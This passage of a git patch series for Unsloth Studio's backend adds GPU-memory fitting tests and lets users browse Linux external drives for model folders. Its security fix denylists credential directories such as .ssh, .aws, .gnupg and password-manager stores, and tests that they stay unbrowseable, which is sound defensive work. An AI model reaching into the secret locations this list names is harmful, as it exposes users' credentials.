b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB + assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}" + + def test_mla_not_wildly_over(self): + # 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like + # the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context. + b = _backend(embd = 6144, mla = 256) + est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB + assert est <= 4141 * 1.7 diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py new file mode 100644 index 0000000000..ac606e4627 --- /dev/null +++ b/studio/backend/tests/test_slot_offload_fit.py @@ -0,0 +1,115 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`). + +When a pinned context does not fit at the requested `--parallel` slot count, Studio would +flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x +(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the +largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with +synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic +is asserted directly (no GPU, network, or subprocess). +""" + +from __future__ import annotations + +import sys +import types as _types +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +from core.inference.llama_cpp import LlamaCppBackend + +MIB = 1024 * 1024 +CTX = 90624 +FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION # 0.97; usable = free - 0.03*total + + +def _backend( + vocab = 248320, + embd = 5120, + kv_fixed_mib = 0, +): + """Backend with the dims the compute buffer reads; KV mocked to a fixed size so the + only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15).""" + b = LlamaCppBackend.__new__(LlamaCppBackend) + b._vocab_size = vocab + b._embedding_length = embd + b._key_length_mla = None + b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB + b._can_estimate_kv = lambda: True + return b + + +def _run( + b, + n_parallel, + base_mib, + gpus, + total_by_idx, + overhead_mib = 0, +): + return b._slots_that_fit_on_gpu( + n_parallel, + CTX, + gpus, + total_by_idx, + int(base_mib * MIB), + "q8_0", + FRAC, + int(overhead_mib * MIB), + 1, + 512, + ) + + +class TestSlotsThatFitOnGpu: + """Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162, + cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB.""" + + def test_reduces_to_largest_fitting_slot(self): + # base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU. + gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576}) + assert use_fit is False and gi == [0] and slots == 3 + + def test_floor_when_only_one_slot_fits(self): + # base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1. + gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576}) + assert use_fit is False and gi == [0] and slots == 1 + + def test_none_fit_stays_offload(self): + # Even a single slot (24046) exceeds usable -> genuine offload, unchanged. + gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576}) + assert use_fit is True and gi is None and slots == 4 + + def test_roomy_would_keep_all_but_helper_only_reduces(self): + # On a roomy card par4 fits, so load_model never calls this helper; if called it + # still only searches < n_parallel and never raises the count above the request. + gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000}) + assert use_fit is False and slots == 3 and slots < 4 + + def test_single_slot_request_is_noop(self): + # n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged. + gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576}) + assert use_fit is True and gi is None and slots == 1 + + def test_multi_gpu_reduces_across_devices(self): + # Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919) + # over, par3 (47362) fits across both -> 3 slots spanning [0, 1]. + gi, use_fit, slots = _run( + _backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576} + ) + assert use_fit is False and gi == [0, 1] and slots == 3 + + def test_kv_counted_per_candidate(self): + # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and + # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds. + gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576}) + assert use_fit is False and slots == 3 diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py index 1f09f9a091..0d71b89d87 100644 --- a/studio/backend/tests/test_tensor_parallel.py +++ b/studio/backend/tests/test_tensor_parallel.py @@ -746,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model(): b, (ec, mac, gi, ts) = _plan(50) reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB assert gi == [0, 1] - # split weighted by (usable - buffer); with no totals usable is free*frac + # split weighted by (usable - flat buffer - per-device context compute); with + # no totals usable is free*frac. The per-device cc is subtracted so the smaller + # card isn't weighted above its real usable budget (see below). + cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024) + assert cc_per_dev > 0 assert ts == [ - int(48000 * _CTX_FIT_VRAM_FRACTION - reserve), - int(24000 * _CTX_FIT_VRAM_FRACTION - reserve), + int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev), + int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev), ] assert ec < 131072 # capped below native @@ -819,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context(): assert ec_mtp < ec_no +def test_tp_plan_reserves_context_linear_compute_buffer(): + # Tensor mode replicates the compute graph on every device; measured on + # Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024 + # B/tok), so the fit must reserve n_dev x that on top of the flat reserve or + # it over-pins and OOMs at high context. The chosen KV must leave room for it. + b, (ec, mac, gi, ts) = _plan(50) + cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16") + assert cc > 0 + assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50) + + +def test_tp_plan_context_shrinks_vs_compute_unaware(): + # With the context-linear term the pinned context is strictly below what a + # KV-only (compute-unaware) fit at the same budget would allow. + b, (ec, *_r) = _plan(50) + b2 = _kv_seeded_backend() + b2._embedding_length = 0 # kills the context-linear compute term (returns 0) + ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) + assert ec < ec_naive + + +def test_tp_plan_soft_overhead_shrinks_context(): + # The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit + # budget (model_size_fit) must also shrink the tensor context. Tensor mode has + # no --fit valve, so an unreserved overshoot OOMs at startup instead of + # offloading. A non-zero soft_overhead must pin a strictly smaller context. + b = _kv_seeded_backend() + ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) + ec_soft, *_r2 = b._plan_tensor_parallel( + _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB + ) + assert 2048 < ec_soft < ec_no + + +def test_tp_plan_soft_overhead_reserved_against_budget(): + # The pinned context must leave the whole soft reserve free on top of KV and + # the replicated context compute, so the real footprint stays within the pool. + b = _kv_seeded_backend() + soft = 2 * _GB + ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft) + cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None) + assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50) + + +def test_tp_plan_weighted_split_keeps_small_gpu_within_budget(): + # Regression: the weighted split must subtract each device's replicated context + # compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller + # card is weighted above its usable budget and OOMs at launch. Model the split: + # llama.cpp distributes weights+KV by the tensor-split weights; every device + # also holds the flat reserve plus its per-device context compute. + b, (ec, mac, gi, ts) = _plan(50) + assert ts is not None and len(ts) == len(gi) == 2 + reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB + cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024) + free_by_idx = {0: 48000, 1: 24000} + split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024) + total_weight = sum(ts) + for w, idx in zip(ts, gi): + placed = split_content_mib * w / total_weight + usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION + assert placed + reserve + cc_per_dev <= usable + 1 # +1 MiB for int rounding + + # Lock the regression: under the old formula (flat reserve only) the smaller + # card was placed over its budget; the cc term is what pulls it back. + old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi] + old_small_placed = split_content_mib * old_adj[1] / sum(old_adj) + assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION + + def test_tp_plan_no_kv_metadata_floors_context(): b = LlamaCppBackend() # no KV metadata -> can't size safely ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) From 01f7e14988d081643c48286b23d4f1f5d4ed9112 Mon Sep 17 00:00:00 2001 From: ramisworld Date: Sat, 4 Jul 2026 06:10:04 +1200 Subject: [PATCH 25/27] Fix Studio custom folders on Linux external drives (#6799) * Fix external drive custom folder selection * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Update studio/backend/tests/test_linux_external_media_paths.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Keep legacy media scan validation strict * Apply sensitive-dir denylist to legacy folder browser for PR #6799 The legacy /api/models browse endpoint gained the new /run/media mount roots in its allowlist but not the credential/config guard that scan-folder registration and the Hub browser already enforce. Filter sensitive names during enumeration and reject them in _resolve_browse_target so .ssh, .aws, .config, etc. under allowlisted roots stay unbrowseable, matching the Hub browser. Add a public contains_sensitive_path_component helper and cover the legacy resolver with a regression test. * Trim redundant comments in PR #6799 changes * Skip sensitive Linux media roots * Reject sensitive dirs at exact browse roots for PR #6799 Both _resolve_browse_target functions only checked contains_sensitive_path_component while walking descendant parts, so requesting an allowlisted root itself (empty relative path) returned it unchecked. A pre-existing scan-folder row under ~/.ssh, ~/.aws, ~/.config, etc. (registerable before the denylist was added) is re-added to the allowlist on upgrade and could then be browsed. Check the resolved target once before returning in both the legacy and Hub browsers, and cover the root case in both test suites. * fix: avoid unused path helper reexports * fix: import sensitive path helpers directly * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: Daniel Han Co-authored-by: imagineer99 Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> --- .../hub/services/models/folder_browser.py | 10 + studio/backend/hub/storage/scan_folders.py | 36 +-- .../backend/hub/tests/test_model_services.py | 28 ++ studio/backend/routes/models.py | 22 +- studio/backend/storage/studio_db.py | 22 +- .../tests/test_linux_external_media_paths.py | 287 ++++++++++++++++++ studio/backend/utils/paths/external_media.py | 100 ++++++ studio/backend/utils/paths/sensitive.py | 46 +++ 8 files changed, 520 insertions(+), 31 deletions(-) create mode 100644 studio/backend/tests/test_linux_external_media_paths.py create mode 100644 studio/backend/utils/paths/external_media.py create mode 100644 studio/backend/utils/paths/sensitive.py diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py index 9b0b46509b..eb137127fb 100644 --- a/studio/backend/hub/services/models/folder_browser.py +++ b/studio/backend/hub/services/models/folder_browser.py @@ -27,6 +27,7 @@ from hub.utils.paths import ( studio_root, well_known_model_dirs, ) +from utils.paths.external_media import linux_run_media_mount_roots from hub.services.models.common import _safe_is_dir from hub.services.models.local_inventory import _resolve_hf_cache_dir @@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]: candidates.append(resolved) _add(Path.home()) + for p in linux_run_media_mount_roots(): + _add(p) _add(_resolve_hf_cache_dir()) try: _add(hf_default_cache_dir()) @@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa ) current = resolved_child + if contains_sensitive_path_component(str(current)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) if not current.is_dir(): raise HTTPException( status_code = 400, @@ -485,6 +493,8 @@ def browse_folders_response( # Home first as the safe fallback. _add_sug(Path.home()) + for p in linux_run_media_mount_roots(): + _add_sug(p) # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default. try: _add_sug(_resolve_hf_cache_dir()) diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py index 85f515da00..fdb15c7c3c 100644 --- a/studio/backend/hub/storage/scan_folders.py +++ b/studio/backend/hub/storage/scan_folders.py @@ -16,37 +16,14 @@ from datetime import datetime, timezone from storage.studio_db import get_connection from hub.utils.paths import normalize_path +from utils.paths.external_media import is_linux_run_media_path +from utils.paths.sensitive import ( + contains_sensitive_path_component as _shared_contains_sensitive_path_component, +) _schema_lock = threading.Lock() _schema_ready = False -_SENSITIVE_PATH_COMPONENTS = { - ".aws", - ".azure", - ".config", - ".docker", - ".gcloud", - ".gnupg", - ".huggingface", - ".kaggle", - ".kube", - ".modelscope", - ".ngc", - ".local", - ".mozilla", - ".pki", - ".thunderbird", - ".ssh", - ".1password", - ".bitwarden", - ".password-store", - "1password", - "bitwarden", - "keychains", - "keyrings", - "mozilla", - "thunderbird", -} def _denied_path_prefixes() -> list[str]: @@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]: def _contains_sensitive_path_component(path: str) -> bool: - parts = os.path.normpath(path).split(os.sep) - return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts) + return _shared_contains_sensitive_path_component(path) def contains_sensitive_path_component(path: str) -> bool: @@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict: check = os.path.normcase(normalized) if is_win else normalized for prefix in _denied_path_prefixes(): if check == prefix or check.startswith(prefix + os.sep): + if prefix == "/run" and is_linux_run_media_path(check): + continue raise ValueError(f"Path under {prefix} is not allowed") conn = get_connection() diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py index e22aaba282..f05d8359ec 100644 --- a/studio/backend/hub/tests/test_model_services.py +++ b/studio/backend/hub/tests/test_model_services.py @@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path): assert exc_info.value.status_code == 403 +def test_resolve_browse_target_rejects_sensitive_root(tmp_path): + ssh = tmp_path / "home" / ".ssh" + ssh.mkdir(parents = True) + + with pytest.raises(HTTPException) as exc_info: + folder_browser._resolve_browse_target(str(ssh), [ssh]) + + assert exc_info.value.status_code == 403 + + def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): home = tmp_path / "home" (home / ".ssh").mkdir(parents = True) @@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): assert ".ssh" not in names +def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): + home = tmp_path / "home" + media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB" + model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6" + home.mkdir() + model_dir.mkdir(parents = True) + monkeypatch.setattr(folder_browser.Path, "home", lambda: home) + monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root]) + monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf") + monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: []) + monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: []) + + allowlist = folder_browser._build_browse_allowlist() + + assert media_root.resolve() in allowlist + assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve() + + def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path): # The endpoint creates the cache dir on demand so the desktop "Open folder" # action works even before the first download. diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index 1501868860..c23ab1d428 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -1202,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]: legacy_hf_cache_dir, well_known_model_dirs, ) + from utils.paths.external_media import linux_run_media_mount_roots from storage.studio_db import list_scan_folders candidates: list[Path] = [] @@ -1217,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]: candidates.append(resolved) _add(Path.home()) + for p in linux_run_media_mount_roots(): + _add(p) _add(_resolve_hf_cache_dir()) try: _add(hf_default_cache_dir()) @@ -1336,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]: def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path: """Resolve a requested browse path by walking from trusted allowlist roots.""" + from storage.studio_db import contains_sensitive_path_component + requested_path = _normalize_browse_request_path(path) resolved_roots: list[Path] = [] seen_roots: set[str] = set() @@ -1386,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa "under your home folder." ), ) + if contains_sensitive_path_component(str(resolved_child)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) current = resolved_child + if contains_sensitive_path_component(str(current)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) if not current.is_dir(): raise HTTPException( status_code = 400, @@ -1435,7 +1450,8 @@ async def browse_folders( then hidden (if ``show_hidden=true``). """ from utils.paths import hf_default_cache_dir, well_known_model_dirs - from storage.studio_db import list_scan_folders + from utils.paths.external_media import linux_run_media_mount_roots + from storage.studio_db import contains_sensitive_path_component, list_scan_folders # Build once; the sandbox check and suggestion chips share it. allowed_roots = _build_browse_allowlist() @@ -1488,6 +1504,8 @@ async def browse_folders( is_hidden = name.startswith(".") if is_hidden and not show_hidden: continue + if contains_sensitive_path_component(name): + continue entries.append( BrowseEntry( name = name, @@ -1541,6 +1559,8 @@ async def browse_folders( # Home first -- the safe fallback when everything else is cold. _add_sug(Path.home()) + for p in linux_run_media_mount_roots(): + _add_sug(p) # The HF cache root the process is actually using. try: _add_sug(hf_default_cache_dir()) diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index ba9f5b9cbc..41a9adcc29 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -22,7 +22,15 @@ logger = logging.getLogger(__name__) from typing import Any, Iterable, Optional -from utils.paths import project_workspaces_root, studio_db_path, ensure_dir +from utils.paths import ( + ensure_dir, + project_workspaces_root, + studio_db_path, +) +from utils.paths.external_media import is_linux_run_media_path +from utils.paths.sensitive import ( + contains_sensitive_path_component as _shared_contains_sensitive_path_component, +) from utils.training_runs import extract_project_name @@ -61,6 +69,14 @@ def _denied_path_prefixes() -> list[str]: return [] +def _contains_sensitive_path_component(path: str) -> bool: + return _shared_contains_sensitive_path_component(path) + + +def contains_sensitive_path_component(path: str) -> bool: + return _contains_sensitive_path_component(path) + + _schema_lock = threading.Lock() _schema_ready = False _SQLITE_IN_CHUNK_SIZE = 900 @@ -896,6 +912,8 @@ def add_scan_folder(path: str) -> dict: raise ValueError("Path must be a directory, not a file") if not os.access(normalized, os.R_OK | os.X_OK): raise ValueError("Path is not readable") + if _contains_sensitive_path_component(normalized): + raise ValueError("Credential or configuration directories are not allowed") # Windows: normcase for the denylist check but store original casing # so consumers see the native drive-letter casing (e.g. C:\Models). @@ -903,6 +921,8 @@ def add_scan_folder(path: str) -> dict: check = os.path.normcase(normalized) if is_win else normalized for prefix in _denied_path_prefixes(): if check == prefix or check.startswith(prefix + os.sep): + if prefix == "/run" and is_linux_run_media_path(check): + continue raise ValueError(f"Path under {prefix} is not allowed") conn = get_connection() diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py new file mode 100644 index 0000000000..c763248f6a --- /dev/null +++ b/studio/backend/tests/test_linux_external_media_paths.py @@ -0,0 +1,287 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +from __future__ import annotations + +import ast +import os +import sys +from pathlib import Path +from types import SimpleNamespace +from typing import Optional + +import pytest + +from hub.storage import scan_folders +from storage import studio_db +from utils.paths import external_media + + +_BACKEND_ROOT = Path(__file__).resolve().parent.parent + + +class _ExistingScanFolderConn: + def __init__(self): + self.params = () + + def execute( + self, + _sql, + params = (), + ): + self.params = params + return self + + def fetchone(self): + return {"id": 1, "path": self.params[0], "created_at": "fake"} + + def commit(self): + pass + + def close(self): + pass + + +class _HTTPException(Exception): + def __init__(self, status_code: int, detail: str): + super().__init__(detail) + self.status_code = status_code + self.detail = detail + + +def _stub_linux_path_checks(monkeypatch, module): + monkeypatch.setattr(module.platform, "system", lambda: "Linux") + monkeypatch.setattr(module.os.path, "realpath", os.path.normpath) + monkeypatch.setattr(module.os.path, "expanduser", lambda p: p) + monkeypatch.setattr(module.os.path, "exists", lambda _p: True) + monkeypatch.setattr(module.os.path, "isdir", lambda _p: True) + monkeypatch.setattr(module.os, "access", lambda _p, _mode: True) + + +def _stub_hub_scan_folder_db(monkeypatch): + monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None) + monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn) + + +def _stub_legacy_scan_folder_db(monkeypatch): + monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn) + + +def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch): + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB") + assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6") + + +@pytest.mark.parametrize( + "path", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path): + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + assert not external_media.is_linux_run_media_path(path) + + +def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + mount = base / "dspofu" / "nvmeB" + sensitive_mount = base / "dspofu" / ".ssh" + sensitive_aws_mount = base / "dspofu" / ".aws" + other_user_mount = base / "other" / "backup" + incomplete = base / "dspofu-only" + mount.mkdir(parents = True) + sensitive_mount.mkdir() + sensitive_aws_mount.mkdir() + other_user_mount.mkdir(parents = True) + incomplete.mkdir() + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [mount.resolve()] + + +def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + normal_mount = base / "dspofu" / "nvmeB" + sensitive_target = base / "dspofu" / ".config" + normal_mount.mkdir(parents = True) + sensitive_target.mkdir() + alias = base / "dspofu" / "config-alias" + alias.symlink_to(sensitive_target, target_is_directory = True) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [normal_mount.resolve()] + + +def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + normal_mount = base / "dspofu" / "nvmeB" + sensitive_descendant = normal_mount / ".ssh" / "models" + sensitive_descendant.mkdir(parents = True) + alias = base / "dspofu" / "models-alias" + alias.symlink_to(sensitive_descendant, target_is_directory = True) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [normal_mount.resolve()] + + +def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + + row = scan_folders.add_scan_folder(target) + + assert row["path"] == target + + +@pytest.mark.parametrize( + "target", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Path under /run is not allowed"): + scan_folders.add_scan_folder(target) + + +def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Credential or configuration"): + scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models") + + +def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + + row = studio_db.add_scan_folder(target) + + assert row["path"] == target + + +@pytest.mark.parametrize( + "target", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Path under /run is not allowed"): + studio_db.add_scan_folder(target) + + +def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Credential or configuration"): + studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models") + + +def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): + tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")) + function_names = { + "_build_browse_allowlist", + "_browse_relative_parts", + "_is_path_inside_allowlist", + "_match_browse_child", + "_normalize_browse_request_path", + "_resolve_browse_target", + } + functions = [ + node + for node in tree.body + if isinstance(node, ast.FunctionDef) and node.name in function_names + ] + module = ast.Module(body = functions, type_ignores = []) + ast.fix_missing_locations(module) + + home = tmp_path / "home" + media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB" + model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6" + home.mkdir() + model_dir.mkdir(parents = True) + (media_root / ".ssh").mkdir() + + fake_paths = SimpleNamespace( + hf_default_cache_dir = lambda: tmp_path / "missing-default-hf", + legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf", + well_known_model_dirs = lambda: [], + studio_root = lambda: tmp_path / "missing-studio", + outputs_root = lambda: tmp_path / "missing-outputs", + exports_root = lambda: tmp_path / "missing-exports", + ) + fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root]) + fake_studio_db = SimpleNamespace( + list_scan_folders = lambda: [], + contains_sensitive_path_component = studio_db.contains_sensitive_path_component, + ) + monkeypatch.setitem(sys.modules, "utils.paths", fake_paths) + monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media) + monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db) + + ns = { + "HTTPException": _HTTPException, + "os": os, + "Path": Path, + "Optional": Optional, + "_safe_is_dir": lambda p: Path(p).is_dir(), + "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf", + "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None), + } + exec(compile(module, "", "exec"), ns) + + allowlist = ns["_build_browse_allowlist"]() + + assert media_root.resolve() in allowlist + assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve() + + with pytest.raises(_HTTPException) as exc: + ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist) + assert exc.value.status_code == 403 + + ssh_root = media_root / ".ssh" + with pytest.raises(_HTTPException) as exc_root: + ns["_resolve_browse_target"](str(ssh_root), [ssh_root]) + assert exc_root.value.status_code == 403 diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py new file mode 100644 index 0000000000..1f1754664f --- /dev/null +++ b/studio/backend/utils/paths/external_media.py @@ -0,0 +1,100 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""External media path helpers.""" + +from __future__ import annotations + +import getpass +import os +import platform +from pathlib 